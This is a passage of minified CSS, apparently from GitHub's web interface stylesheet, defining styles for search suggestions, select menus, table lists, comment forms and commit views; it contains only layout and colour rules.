.suggestion-search-input{height:24px;padding-top:2px;margin-right:12px;margin-left:12px;white-space:pre;outline:0 solid transparent;align-items:center}.search-suggestions .suggestion-search-input:empty::before{color:var(--color-fg-subtle);content:attr(placeholder)}.search-suggestions .suggestion-list{list-style:none}.search-suggestions .suggestion-list [aria-selected=true]{background-color:var(--color-canvas-inset) !important}.search-suggestions .suggestion-list :hover{background-color:inherit}.search-suggestions .header-search-input{overflow:hidden}.dark-backdrop{top:0;right:0;bottom:0;left:0;z-index:32;height:100%;background-color:var(--color-primer-canvas-backdrop)}.Header-item--search{flex-grow:100}.boxed-group{position:relative;margin-bottom:30px;border-radius:6px}.boxed-group .Counter{color:var(--color-fg-on-emphasis);background-color:var(--color-neutral-emphasis)}.boxed-group.flush .boxed-group-inner{padding:0}.boxed-group.condensed .boxed-group-inner{padding:0;font-size:12px}.boxed-group>h3,.boxed-group .heading{display:block;padding:9px 10px 10px;margin:0;font-size:14px;line-height:17px;background-color:var(--color-canvas-subtle);border:1px solid var(--color-border-default);border-bottom:0;border-radius:6px 6px 0 0}.boxed-group>h3 a,.boxed-group .heading a{color:inherit}.boxed-group>h3 a.boxed-group-breadcrumb,.boxed-group .heading a.boxed-group-breadcrumb{font-weight:400;color:var(--color-fg-muted);text-decoration:none}.boxed-group>h3 .avatar,.boxed-group .heading .avatar{margin-top:-4px}.boxed-group .tabnav.heading{padding:0}.boxed-group .tabnav.heading .tabnav-tab.selected{border-top:0}.boxed-group .tabnav.heading li:first-child .selected{border-left-color:var(--color-canvas-default);border-top-left-radius:6px}.boxed-group .tabnav-tab{border-top:0;border-radius:0}.boxed-group code.heading{font-size:12px}.boxed-group.dangerzone>h3{color:var(--color-fg-on-emphasis);background-color:var(--color-danger-emphasis);border:1px solid var(--color-danger-emphasis)}.boxed-group.dangerzone .boxed-group-inner{border-top:0}.boxed-group.condensed>h3{padding:6px 6px 7px;font-size:12px}.boxed-group.condensed>h3 .octicon{padding:0 6px 0 2px}.dashboard-sidebar .boxed-group{margin-bottom:20px}.boxed-group .bleed-flush{width:100%;padding:0 10px;margin-left:-10px}.boxed-group .compact{margin-top:10px;margin-bottom:10px}.boxed-group-inner{padding:10px;color:var(--color-fg-muted);background:var(--color-canvas-default);border:1px solid var(--color-border-default);border-bottom-right-radius:6px;border-bottom-left-radius:6px}.boxed-group-inner .markdown-body{padding:20px 10px 10px;font-size:13px}.boxed-group-inner.markdown-body{padding-top:10px;padding-bottom:10px}.boxed-group-inner.seamless{padding:0}.boxed-group-inner .tabnav{padding-right:10px;padding-left:10px;margin-right:-10px;margin-left:-10px}.boxed-group-inner .tabnav-tab.selected{border-top:1px solid var(--color-border-default)}.boxed-action{float:right;margin-left:10px}.boxed-group-action{position:relative;z-index:2;float:right;margin:5px 10px 0 0}.boxed-group-action.flush{margin-top:0;margin-right:0}.field-with-errors{display:inline}.boxed-group-list{margin:0;list-style:none}.boxed-group-list:first-child>li:first-child{border-top:0}.boxed-group-list>li{display:block;padding:5px 10px;margin-right:-10px;margin-left:-10px;line-height:23px;border-bottom:1px solid var(--color-border-default)}.boxed-group-list>li:first-child{border-top:1px solid var(--color-border-default)}.boxed-group-list>li:last-of-type{border-bottom:0}.boxed-group-list>li.selected{background:var(--color-success-subtle)}.boxed-group-list>li.approved .btn-sm,.boxed-group-list>li.rejected .btn-sm{display:none}.boxed-group-list>li.rejected a{text-decoration:line-through}.boxed-group-list>li .avatar{margin-top:-2px;margin-right:4px}.boxed-group-list>li .octicon{width:24px;margin-right:4px}.boxed-group-list>li .btn-sm{float:right;margin:-1px 0 0 10px}.boxed-group-list>li .BtnGroup{float:right}.boxed-group-list>li .BtnGroup .btn-sm{float:left}.boxed-group.flush .boxed-group-list li{width:auto;padding-right:0;padding-left:0;margin-left:0}.boxed-group-list.standalone{margin-top:-1px}.boxed-group-list.standalone>li:first-child{border-top:0}.boxed-group-table{width:100%;text-align:left}.boxed-group-table tr:last-child td{border-bottom:0}.boxed-group-table th{padding:9px;background-color:var(--color-canvas-subtle);border-bottom:1px solid var(--color-border-muted)}.boxed-group-table td{padding:9px;vertical-align:top;border-bottom:1px solid var(--color-border-muted)}.ajax-error-message{position:fixed;top:0;left:50%;z-index:9999;width:974px;margin:0 3px;margin-left:-487px;transition:top .5s ease-in-out}.ajax-error-message>.octicon-alert{vertical-align:text-top}.container{width:980px;margin-right:auto;margin-left:auto}.container::before{display:table;content:""}.container::after{display:table;clear:both;content:""}.draft.octicon{color:var(--color-fg-muted)}.closed.octicon,.reverted.octicon{color:var(--color-closed-fg)}.open.octicon{color:var(--color-open-fg)}.closed.octicon.octicon-issue-closed,.merged.octicon{color:var(--color-done-fg)}.progress-bar{display:block;height:15px;overflow:hidden;background-color:var(--color-border-muted);border-radius:6px}.progress-bar .progress{display:block;height:100%;background-color:var(--color-success-emphasis)}.reverse-progress-container{position:relative;height:3px;background-color:var(--color-border-muted);background-image:linear-gradient(to right, var(--color-success-emphasis), var(--color-accent-emphasis), var(--color-done-emphasis), var(--color-danger-emphasis), var(--color-severe-emphasis));background-size:100% 3px}.reverse-progress-bar{position:absolute;right:0;height:100%;background-color:var(--color-border-muted)}.progress-bar-small{height:10px}.select-menu-button::after{display:inline-block;width:0;height:0;vertical-align:-2px;content:"";border:4px solid;border-right-color:transparent;border-bottom-color:transparent;border-left-color:transparent}.select-menu-button.icon-only{padding-left:7px}.select-menu-button.primary::after{border-top-color:var(--color-fg-on-emphasis)}.select-menu-button.primary::after:active{background-color:var(--color-success-emphasis)}.select-menu-button-large::after{margin-left:.25em;border-width:.33em}.select-menu .spinner{float:left;margin:4px 0 0 -24px}.select-menu.active .select-menu-modal-holder{display:block}.select-menu.select-menu-modal-right{position:relative}.select-menu.select-menu-modal-right .select-menu-modal-holder{right:0}.select-menu .select-menu-clear-item{display:block}.select-menu .select-menu-clear-item .octicon{color:inherit}.select-menu .select-menu-clear-item+.select-menu-no-results{display:none !important}.select-menu.is-loading .select-menu-loading-overlay{display:block}.select-menu.is-loading .select-menu-modal{min-height:200px}.select-menu.has-error .select-menu-error{display:block}.select-menu-error{display:none}.select-menu-loading-overlay{position:absolute;top:0;z-index:5;display:none;width:100%;height:100%;background-color:var(--color-canvas-overlay);border:1px solid transparent;border-radius:5px}.select-menu-modal-holder{position:absolute;z-index:30;display:none}.select-menu-modal{position:relative;width:300px;margin-top:4px;margin-bottom:20px;overflow:hidden;font-size:12px;color:var(--color-fg-default);background-color:var(--color-canvas-overlay);background-clip:padding-box;border:1px solid var(--color-border-default);border-radius:6px;box-shadow:var(--color-shadow-large)}.select-menu-header,.select-menu-divider{padding:8px 10px;line-height:16px;background:var(--color-canvas-subtle);border-bottom:1px solid var(--color-border-muted)}.select-menu-header .select-menu-title,.select-menu-divider{font-weight:600;color:var(--color-fg-default)}.select-menu-divider{margin-top:-1px;border-top:1px solid var(--color-border-muted)}.select-menu-header .close-button,.select-menu-header .octicon{display:block;float:right;color:var(--color-fg-muted);cursor:pointer}.select-menu-header .close-button:hover,.select-menu-header .octicon:hover{color:var(--color-fg-default)}.select-menu-header:focus{outline:none}.select-menu-filters{background-color:var(--color-canvas-overlay)}.select-menu-text-filter{padding:10px 10px 0}.select-menu-text-filter:first-child:last-child{padding-bottom:10px;border-bottom:1px solid var(--color-border-muted)}.select-menu-text-filter input{display:block;width:100%;max-width:100%;padding:5px;border:1px solid var(--color-border-muted);border-radius:6px}.select-menu-text-filter input::placeholder{color:var(--color-fg-subtle)}.select-menu-tabs{padding:10px 10px 0;border-bottom:1px solid var(--color-border-muted)}.select-menu-tabs ul{position:relative;bottom:-1px}.select-menu-tabs .select-menu-tab{display:inline-block}.select-menu-tabs a,.select-menu-tabs .select-menu-tab-nav{display:inline-block;padding:4px 8px 2px;font-size:12px;font-weight:600;color:var(--color-fg-muted);text-decoration:none;cursor:pointer;background:transparent;border:1px solid transparent;border-radius:6px 6px 0 0}.select-menu-tabs a:hover,.select-menu-tabs .select-menu-tab-nav:hover{color:var(--color-fg-default)}.select-menu-tabs a[aria-selected=true],.select-menu-tabs a.selected,.select-menu-tabs .select-menu-tab-nav[aria-selected=true],.select-menu-tabs .select-menu-tab-nav.selected{color:var(--color-fg-default);background-color:var(--color-canvas-overlay);border-color:var(--color-border-muted);border-bottom-color:var(--color-canvas-overlay)}.select-menu-list{position:relative;max-height:400px;overflow:auto}.select-menu-list.is-showing-new-item-form .select-menu-new-item-form{display:block}.select-menu-list.is-showing-new-item-form .select-menu-no-results,.select-menu-list.is-showing-new-item-form .select-menu-clear-item{display:none}.select-menu-blankslate{padding:16px;text-align:center}.select-menu-blankslate svg{display:block;margin-right:auto;margin-bottom:9px;margin-left:auto;fill:var(--color-fg-muted)}.select-menu-blankslate h3{font-size:14px;color:var(--color-fg-default)}.select-menu-blankslate p{width:195px;margin-right:auto;margin-bottom:0;margin-left:auto}.select-menu-item{display:block;padding:8px 8px 8px 30px;overflow:hidden;color:inherit;cursor:pointer;border-bottom:1px solid var(--color-border-muted)}.select-menu-item .select-menu-item-text .octicon-x{display:none;float:right;margin:1px 10px 0 0;opacity:.6}.select-menu-item:hover{text-decoration:none}.select-menu-item.disabled,.select-menu-item[disabled],.select-menu-item[aria-disabled=true],.select-menu-item.disabled.selected{color:var(--color-fg-muted);cursor:default}.select-menu-item.disabled .description,.select-menu-item[disabled] .description,.select-menu-item[aria-disabled=true] .description,.select-menu-item.disabled.selected .description{color:var(--color-fg-muted)}.select-menu-item.disabled.opaque,.select-menu-item[disabled].opaque,.select-menu-item[aria-disabled=true].opaque,.select-menu-item.disabled.selected.opaque{opacity:.7}.select-menu-item.disabled .select-menu-item-gravatar,.select-menu-item[disabled] .select-menu-item-gravatar,.select-menu-item[aria-disabled=true] .select-menu-item-gravatar,.select-menu-item.disabled.selected .select-menu-item-gravatar{opacity:.5}.select-menu-item .octicon{vertical-align:middle}.select-menu-item .octicon-check,.select-menu-item .octicon-circle-slash,.select-menu-item input[type=radio]:not(:checked)+.octicon-check,.select-menu-item input[type=radio]:not(:checked)+.octicon-circle-slash{visibility:hidden}.select-menu-item.selected .octicon-circle-slash.select-menu-item-icon{color:var(--color-fg-muted) !important}.select-menu-item .octicon-circle-slash{color:var(--color-fg-muted)}.select-menu-item.excluded{background-color:var(--color-canvas-subtle)}.select-menu-item input[type=radio]{display:none}.select-menu-item:focus{outline:none}.select-menu-item:focus .octicon,.select-menu-item:hover .octicon{color:inherit !important}.select-menu-item:hover,.select-menu-item:hover.selected,.select-menu-item:hover.select-menu-action,.select-menu-item:hover .description-inline,.select-menu-item:focus,.select-menu-item:focus.selected,.select-menu-item:focus.select-menu-action,.select-menu-item:focus .description-inline,.select-menu-item.navigation-focus,.select-menu-item.navigation-focus.selected,.select-menu-item.navigation-focus.select-menu-action,.select-menu-item.navigation-focus .description-inline,.select-menu-item.navigation-focus[aria-checked=true],.select-menu-item[aria-checked=true]:focus,.select-menu-item[aria-checked=true]:hover,.select-menu-item[aria-selected=true]:hover,.select-menu-item[aria-selected=true]:focus,.select-menu-item[aria-selected=true].select-menu-action,.select-menu-item[aria-selected=true] .description-inline{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.select-menu-item:hover>.octicon,.select-menu-item:hover.selected>.octicon,.select-menu-item:hover.select-menu-action>.octicon,.select-menu-item:hover .description-inline>.octicon,.select-menu-item:focus>.octicon,.select-menu-item:focus.selected>.octicon,.select-menu-item:focus.select-menu-action>.octicon,.select-menu-item:focus .description-inline>.octicon,.select-menu-item.navigation-focus>.octicon,.select-menu-item.navigation-focus.selected>.octicon,.select-menu-item.navigation-focus.select-menu-action>.octicon,.select-menu-item.navigation-focus .description-inline>.octicon,.select-menu-item.navigation-focus[aria-checked=true]>.octicon,.select-menu-item[aria-checked=true]:focus>.octicon,.select-menu-item[aria-checked=true]:hover>.octicon,.select-menu-item[aria-selected=true]:hover>.octicon,.select-menu-item[aria-selected=true]:focus>.octicon,.select-menu-item[aria-selected=true].select-menu-action>.octicon,.select-menu-item[aria-selected=true] .description-inline>.octicon{color:var(--color-fg-on-emphasis)}.select-menu-item:hover .description,.select-menu-item:hover .description-warning,.select-menu-item:hover.selected .description,.select-menu-item:hover.selected .description-warning,.select-menu-item:hover.select-menu-action .description,.select-menu-item:hover.select-menu-action .description-warning,.select-menu-item:hover .description-inline .description,.select-menu-item:hover .description-inline .description-warning,.select-menu-item:focus .description,.select-menu-item:focus .description-warning,.select-menu-item:focus.selected .description,.select-menu-item:focus.selected .description-warning,.select-menu-item:focus.select-menu-action .description,.select-menu-item:focus.select-menu-action .description-warning,.select-menu-item:focus .description-inline .description,.select-menu-item:focus .description-inline .description-warning,.select-menu-item.navigation-focus .description,.select-menu-item.navigation-focus .description-warning,.select-menu-item.navigation-focus.selected .description,.select-menu-item.navigation-focus.selected .description-warning,.select-menu-item.navigation-focus.select-menu-action .description,.select-menu-item.navigation-focus.select-menu-action .description-warning,.select-menu-item.navigation-focus .description-inline .description,.select-menu-item.navigation-focus .description-inline .description-warning,.select-menu-item.navigation-focus[aria-checked=true] .description,.select-menu-item.navigation-focus[aria-checked=true] .description-warning,.select-menu-item[aria-checked=true]:focus .description,.select-menu-item[aria-checked=true]:focus .description-warning,.select-menu-item[aria-checked=true]:hover .description,.select-menu-item[aria-checked=true]:hover .description-warning,.select-menu-item[aria-selected=true]:hover .description,.select-menu-item[aria-selected=true]:hover .description-warning,.select-menu-item[aria-selected=true]:focus .description,.select-menu-item[aria-selected=true]:focus .description-warning,.select-menu-item[aria-selected=true].select-menu-action .description,.select-menu-item[aria-selected=true].select-menu-action .description-warning,.select-menu-item[aria-selected=true] .description-inline .description,.select-menu-item[aria-selected=true] .description-inline .description-warning{color:var(--color-fg-on-emphasis)}.select-menu-item:hover.disabled,.select-menu-item[disabled]:hover,.select-menu-item[aria-disabled=true]:hover,.select-menu-item[aria-selected=true].disabled,.select-menu-item.navigation-focus.disabled{color:var(--color-fg-muted);background-color:var(--color-canvas-overlay)}.select-menu-item:hover.disabled .description,.select-menu-item[disabled]:hover .description,.select-menu-item[aria-disabled=true]:hover .description,.select-menu-item[aria-selected=true].disabled .description,.select-menu-item.navigation-focus.disabled .description{color:var(--color-fg-muted)}.select-menu-item>.octicon-dash{display:none}.select-menu-item[aria-checked=mixed]>.octicon-check{display:none}.select-menu-item[aria-checked=mixed]>.octicon-dash{display:block}.select-menu-item input:checked+.octicon-check{color:inherit;visibility:visible}details-menu .select-menu-item[aria-checked=true],details-menu .select-menu-item[aria-selected=true],.select-menu-item.selected{color:var(--color-fg-default)}details-menu .select-menu-item[aria-checked=true] .description,details-menu .select-menu-item[aria-selected=true] .description,.select-menu-item.selected .description{color:var(--color-fg-muted)}details-menu .select-menu-item[aria-checked=true]>.octicon,details-menu .select-menu-item[aria-selected=true]>.octicon,.select-menu-item.selected>.octicon{color:var(--color-fg-default)}details-menu .select-menu-item[aria-checked=true] .octicon-check,details-menu .select-menu-item[aria-checked=true] .octicon-circle-slash,details-menu .select-menu-item[aria-selected=true] .octicon-check,details-menu .select-menu-item[aria-selected=true] .octicon-circle-slash,.select-menu-item.selected .octicon-check,.select-menu-item.selected .octicon-circle-slash{color:inherit;visibility:visible}details-menu .select-menu-item[aria-checked=true] .select-menu-item-text .octicon-x,details-menu .select-menu-item[aria-selected=true] .select-menu-item-text .octicon-x,.select-menu-item.selected .select-menu-item-text .octicon-x{display:block;color:inherit}.select-menu.label-select-menu .select-menu-item:active{background-color:transparent !important}.select-menu-item:hover .Label,.select-menu-item:focus .Label{color:inherit;border-color:currentColor}.select-menu-item a{color:inherit;text-decoration:none}.select-menu-item .hidden-select-button-text{display:none}.select-menu-item .css-truncate-target{max-width:100%}.select-menu-item-icon{float:left;margin-left:-20px}form.select-menu-item>div:first-child{display:none !important}.select-menu-list:last-child .select-menu-item:last-child,.select-menu-item.last-visible{border-bottom:0;border-radius:0 0 6px 6px}.select-menu-action{font-weight:400;color:var(--color-fg-default)}.select-menu-action>.octicon{color:inherit}.select-menu-action:hover{color:var(--color-accent-fg)}.select-menu-no-results{display:none;padding:9px;color:var(--color-fg-muted);cursor:auto}.select-menu-list.filterable-empty .select-menu-no-results,.select-menu-no-results:only-child{display:block}.select-menu-button-gravatar,.select-menu-item-gravatar{width:20px;overflow:hidden;line-height:0}.select-menu-button-gravatar img,.select-menu-item-gravatar img{display:inline-block;width:20px;height:20px;border-radius:6px}.select-menu-item-gravatar{float:left;width:20px;height:20px;margin-right:8px;border-radius:6px}.select-menu-button-gravatar{float:left;margin-right:5px}.select-menu-item-text{display:block;text-align:left}.select-menu-item-text .description{display:block;max-width:265px;font-size:12px;color:var(--color-fg-muted)}.select-menu-item-text .description-inline{font-size:12px;color:var(--color-fg-muted)}.select-menu-item-text .description-warning{color:var(--color-danger-fg)}.select-menu-item-text mark{font-weight:600;color:inherit;background-color:inherit}.select-menu-item-heading{display:block;margin-top:0;margin-bottom:0;font-size:14px;font-weight:600}.select-menu-item-heading .description{display:inline;font-weight:400}.select-menu-new-item-form{display:none}.select-menu-new-item-form .octicon{color:var(--color-accent-fg)}.table-list{display:table;width:100%;color:var(--color-fg-muted);table-layout:fixed;border-bottom:1px solid var(--color-border-default)}.table-list ol{list-style-type:decimal}.table-list-bordered{border-bottom-color:var(--color-border-default)}.table-list-bordered .table-list-cell:first-child{border-left:1px solid var(--color-border-default)}.table-list-bordered .table-list-cell:last-child{border-right:1px solid var(--color-border-default)}.table-list-item{position:relative;display:table-row;list-style:none}.table-list-item.unread .table-list-cell:first-child{box-shadow:2px 0 0 var(--color-accent-emphasis) inset}.table-list-cell{position:relative;display:table-cell;padding:8px 10px;font-size:12px;vertical-align:top;border-top:1px solid var(--color-border-default)}.table-list-cell.flush-left{padding-left:0}.table-list-cell.flush-right{padding-right:0}.table-list-header{position:relative;margin-top:20px;background-color:var(--color-canvas-subtle);border:1px solid var(--color-border-default);border-radius:6px 6px 0 0}.table-list-header::before{display:table;content:""}.table-list-header::after{display:table;clear:both;content:""}.table-list-header .btn-link{position:relative;display:inline-block;padding-top:13px;padding-bottom:13px;font-weight:400}.table-list-heading{margin-left:10px}.table-list-header-meta{display:inline-block;padding-top:13px;padding-bottom:13px;color:var(--color-fg-muted)}.table-list-header-toggle h4{padding:12px 0}.table-list-filters:first-child .table-list-header-toggle:first-child{padding-left:16px}.table-list-header-toggle.states .selected{font-weight:600}.table-list-header-toggle .btn-link{color:var(--color-fg-muted)}.table-list-header-toggle .btn-link .octicon{margin-right:4px}.table-list-header-toggle .btn-link:hover{color:var(--color-fg-default);text-decoration:none}.table-list-header-toggle .btn-link.selected,.table-list-header-toggle .btn-link.selected:hover{color:var(--color-fg-default)}.table-list-header-toggle .btn-link+.btn-link{margin-left:10px}.table-list-header-toggle .btn-link:disabled,.table-list-header-toggle .btn-link.disabled{pointer-events:none;opacity:.5}.table-list-header-toggle .select-menu{position:relative}.table-list-header-toggle .select-menu-item[aria-checked=true],.table-list-header-toggle .select-menu-item.selected{font-weight:600}.table-list-header-toggle .select-menu-button{padding-right:15px;padding-left:15px}.table-list-header-toggle .select-menu-button:hover,.table-list-header-toggle .select-menu-button.selected,.table-list-header-toggle .select-menu-button.selected:hover{color:var(--color-fg-default)}.table-list-header-toggle .select-menu-modal-holder{right:10px}.table-list-header-toggle .select-menu-modal-holder .select-menu-modal{margin-top:-1px}.table-list-header-next{margin-top:20px;margin-bottom:-1px}.table-list-header-next .table-list-header-select-all{padding-left:14px}.table-list-header-next .select-all-dropdown{padding-top:10px;padding-bottom:10px}.table-list-triage{display:none}.triage-mode .table-list-filters{display:none !important}.triage-mode .table-list-triage{display:block}.breadcrumb{font-size:16px;color:var(--color-fg-muted)}.breadcrumb .separator{white-space:pre-wrap}.breadcrumb .separator::before,.breadcrumb .separator::after{content:" "}.breadcrumb strong.final-path{color:var(--color-fg-default)}.capped-cards{list-style:none}.capped-card-content{display:block;background:var(--color-canvas-subtle)}.capped-card-content::before{display:table;content:""}.capped-card-content::after{display:table;clear:both;content:""}.details-collapse .collapse{position:relative;display:none;height:0;overflow:hidden;transition:height .35s ease-in-out}.details-collapse.open .collapse{display:block;height:auto;overflow:visible}.collapsible-sidebar-widget-button{display:flex;padding:0;align-items:center;background-color:transparent;border:0;justify-content:space-between}.collapsible-sidebar-widget-indicator{transition:transform .25s;transform:translate(0, 0) translate3d(0, 0, 0)}.collapsible-sidebar-widget-loader{display:none;visibility:hidden;opacity:0;transition:opacity .25s;animation-play-state:paused}.collapsible-sidebar-widget-content{width:100%;max-height:0;overflow:hidden;opacity:0;transition:max-height .25s ease-in-out,opacity .25s ease-in-out}.collapsible-sidebar-widget-loading .collapsible-sidebar-widget-indicator{display:none}.collapsible-sidebar-widget-loading .collapsible-sidebar-widget-loader{display:block;visibility:visible;opacity:1;animation-play-state:running}.collapsible-sidebar-widget-active .collapsible-sidebar-widget-content{max-height:100%;overflow:visible;opacity:1}.collapsible-sidebar-widget-active .collapsible-sidebar-widget-indicator{display:block;transform:rotate(180deg)}.collapsible-sidebar-widget-active .collapsible-sidebar-widget-loader{display:none;visibility:hidden;opacity:0}.collapsible-sidebar-widget-active .collapsible-sidebar-widget-active-hidden{display:none;opacity:0}.comment .email-format{line-height:1.5}.previewable-edit .previewable-comment-form{display:none}.previewable-edit .previewable-comment-form::before{display:table;content:""}.previewable-edit .previewable-comment-form::after{display:table;clear:both;content:""}.previewable-edit .previewable-comment-form .tabnav-tabs{display:inline-block}.previewable-edit .previewable-comment-form .form-actions{float:right;margin-right:8px;margin-bottom:8px}.previewable-edit.is-comment-editing .timeline-comment-header{display:none !important}.is-comment-editing .previewable-comment-form{display:block}.is-comment-editing .timeline-comment-actions,.is-comment-editing .edit-comment-hide{display:none}.is-comment-loading .previewable-comment-form{opacity:.5}.comment-show-stale{display:none}.is-comment-stale .comment-show-stale{display:block}.comment-body{width:100%;padding:16px;overflow:visible;font-size:14px}.comment-body .highlight{overflow:visible !important;background-color:transparent}.comment-form-textarea{width:100%;max-width:100%;height:100px;min-height:100px;margin:0;line-height:1.6}.comment-form-textarea.dragover{border:solid 1px var(--color-accent-emphasis)}.hide-reaction-suggestion:hover::before,.hide-reaction-suggestion:hover::after,.hide-reaction-suggestion:active::before,.hide-reaction-suggestion:active::after{display:none}.reaction-suggestion[data-reaction-suggestion-message]:hover::before,.reaction-suggestion[data-reaction-suggestion-message]:hover::after{display:inline-block}.reaction-suggestion[data-reaction-suggestion-message]::before,.reaction-suggestion[data-reaction-suggestion-message]::after{display:inline-block;text-decoration:none;animation-name:tooltip-appear;animation-duration:.1s;animation-fill-mode:forwards;animation-timing-function:ease-in;animation-delay:0s}.reaction-suggestion[data-reaction-suggestion-message]::after{content:attr(data-reaction-suggestion-message)}.discussion-topic-header{position:relative;padding:8px;word-wrap:break-word}.comment-form-error{padding:16px 8px;margin:8px;color:var(--color-fg-default);background-color:var(--color-danger-subtle);border:1px solid var(--color-danger-emphasis);border-radius:6px}.email-format{line-height:1.5em !important}.email-format div{white-space:pre-wrap}.email-format .email-hidden-reply{display:none;white-space:pre-wrap}.email-format .email-hidden-reply.expanded{display:block}.email-format .email-quoted-reply,.email-format .email-signature-reply{padding:0 16px;margin:16px 0;color:var(--color-fg-muted);border-left:4px solid var(--color-border-default)}.email-format .email-hidden-toggle a{display:inline-block;height:12px;padding:0 8px;font-size:12px;font-weight:600;line-height:6px;color:var(--color-fg-default);text-decoration:none;vertical-align:middle;background:var(--color-neutral-muted);border-radius:1px}.email-format .email-hidden-toggle a:hover{background-color:var(--color-accent-muted)}.email-format .email-hidden-toggle a:active{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.comment-email-format div{white-space:normal}.comment-email-format .email-hidden-reply{display:none;white-space:normal}.comment-email-format .email-hidden-reply.expanded{display:block}.comment-email-format blockquote,.comment-email-format p{margin:0}.locked-conversation .write-tab,.locked-conversation .preview-tab{color:#c6cbd1}.write-tab:focus,.preview-tab:focus{outline:1px dotted var(--color-accent-emphasis)}.manual-file-chooser-transparent{min-height:0;overflow:hidden;opacity:.01}.manual-file-chooser-transparent::-webkit-file-upload-button{cursor:pointer}.manual-file-chooser-transparent:focus{opacity:1 !important}.markdown-body .highlight:hover .zeroclipboard-container,.markdown-body .snippet-clipboard-content:hover .zeroclipboard-container{display:block;animation:fade-in 200ms both}.markdown-body .highlight .zeroclipboard-container,.markdown-body .snippet-clipboard-content .zeroclipboard-container{display:none;animation:fade-out 200ms both}.rich-diff clipboard-copy{display:none}.commit-form{position:relative;padding:16px;border:1px solid var(--color-border-default);border-radius:6px}.commit-form::after,.commit-form::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.commit-form::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-canvas-default), var(--color-canvas-default))}.commit-form::before{background-color:var(--color-border-default)}.commit-form .input-block{margin-top:8px;margin-bottom:8px}.commit-form-avatar{float:left;margin-left:-64px;border-radius:6px}.commit-form-actions::before{display:table;content:""}.commit-form-actions::after{display:table;clear:both;content:""}.commit-form-actions .BtnGroup{margin-right:4px}.merge-commit-message{resize:vertical}@media(max-width: 768px){.commit-form::after,.commit-form::before{display:none !important}}.commit-sha{padding:.2em .4em;font-size:90%;font-weight:400;background-color:var(--color-canvas-subtle);border:1px solid var(--color-border-muted);border-radius:.2em}.commit .commit-title,.commit .commit-title a{color:var(--color-fg-default)}.commit .commit-title.blank,.commit .commit-title.blank a{color:var(--color-fg-muted)}.commit .commit-title .issue-link{font-weight:600;color:var(--color-accent-fg)}.commit .sha-block,.commit .sha{font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;font-size:12px}.commit.open .commit-desc{display:block}.commit-link{font-weight:400;color:var(--color-accent-fg)}.commit-ref{position:relative;display:inline-block;padding:0 4px;font:.85em/1.8 ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;color:var(--color-fg-muted);white-space:nowrap;background-color:var(--color-accent-subtle);border-radius:6px}.commit-ref .user{color:var(--color-accent-fg)}a.commit-ref:hover{color:var(--color-accent-fg);text-decoration:none;background-color:var(--color-accent-subtle)}.commit-desc{display:none}.commit-desc pre{max-width:700px;margin-top:8px;font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;font-size:11px;line-height:1.45;color:var(--color-fg-default);white-space:pre-wrap}.commit-desc+.commit-branches{padding-top:8px;margin-top:2px;border-top:solid 1px var(--color-border-subtle)}.commit-author-section{color:var(--color-fg-default)}.commit-author-section span.user-mention{font-weight:400}.commit-tease-sha{display:inline-block;font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;font-size:90%;color:var(--color-fg-default)}.commits-list-item[aria-selected=true],.commits-list-item.navigation-focus{background:#f6fbff}.commits-list-item .commit-title{margin:0;font-size:16px;font-weight:600;color:var(--color-fg-default)}.commits-list-item .commit-meta{margin-top:1px;font-weight:400;color:var(--color-fg-muted)}.commits-list-item .status .octicon{height:14px;line-height:14px}.commits-list-item .commit-author{color:var(--color-fg-muted)}.commits-list-item .octicon-arrow-right{margin:0 4px}.commits-list-item .btn-outline{margin-top:2px}.commits-list-item .commit-desc pre{margin-top:4px;margin-bottom:8px;color:var(--color-fg-muted)}.commits-list-item .commit-desc pre a{word-break:break-word}.commit-indicator{margin-left:4px}.commit-links-group{margin-right:4px}.commits-list-item+.commits-list-item{border-top:1px solid var(--color-border-default)}.full-commit{padding:8px 8px 0;margin:8px 0;font-size:14px;background:var(--color-neutral-subtle);border:1px solid var(--color-border-default);border-radius:6px}.full-commit:first-child{margin-top:0}.full-commit div.commit-title{font-size:16px;font-weight:600;color:var(--color-fg-default)}.full-commit .branches-list{display:inline;margin-right:8px;margin-left:2px;vertical-align:middle;list-style:none}.full-commit .branches-list li{display:inline-block;padding-left:4px;font-weight:600;color:var(--color-fg-default)}.full-commit .branches-list li::before{padding-right:4px;font-weight:400;content:"+"}.full-commit .branches-list li:first-child{padding-left:0}.full-commit .branches-list li:first-child::before{padding-right:0;content:""}.full-commit .branches-list li.loading{font-weight:400;color:var(--color-fg-muted)}.full-commit .branches-list li.pull-request{font-weight:400;color:var(--color-fg-muted)}.full-commit .branches-list li.pull-request::before{margin-left:-8px;content:""}.full-commit .branches-list li.pull-request-error{margin-bottom:-1px}.full-commit .branches-list li a{color:inherit}.full-commit .commit-meta{padding:8px;margin-right:-8px;margin-left:-8px;background:var(--color-canvas-default);border-top:1px solid var(--color-border-default);border-bottom-right-radius:6px;border-bottom-left-radius:6px}.full-commit .sha-block{margin-left:16px;font-size:12px;line-height:24px;color:var(--color-fg-muted)}.full-commit .sha-block>.sha{color:var(--color-fg-default)}.full-commit .sha-block>a{color:var(--color-fg-default);text-decoration:none;border-bottom:1px dotted var(--color-border-muted)}.full-commit .sha-block>a:hover{border-bottom:1px solid var(--color-border-default)}.full-commit .commit-desc{display:block;margin:-4px 0 8px}.full-commit .commit-desc pre{max-width:100%;overflow:visible;font-size:13px;word-wrap:break-word}.commit-branches{font-size:12px;color:var(--color-fg-muted);vertical-align:middle}.commit-branches .octicon{vertical-align:middle}.commit-build-statuses{position:relative;display:inline-block;text-align:left}.commit-build-statuses .dropdown-menu{min-width:362.6666666667px;max-width:544px;padding-top:0;padding-bottom:0}.commit-build-statuses .dropdown-menu .merge-status-list{max-height:170px;border-bottom:0}.commit-build-statuses .dropdown-menu-w,.commit-build-statuses .dropdown-menu-e{top:-11px}.commit-build-statuses .merge-status-item:last-child{border-radius:0 0 6px 6px}.dropdown-signed-commit 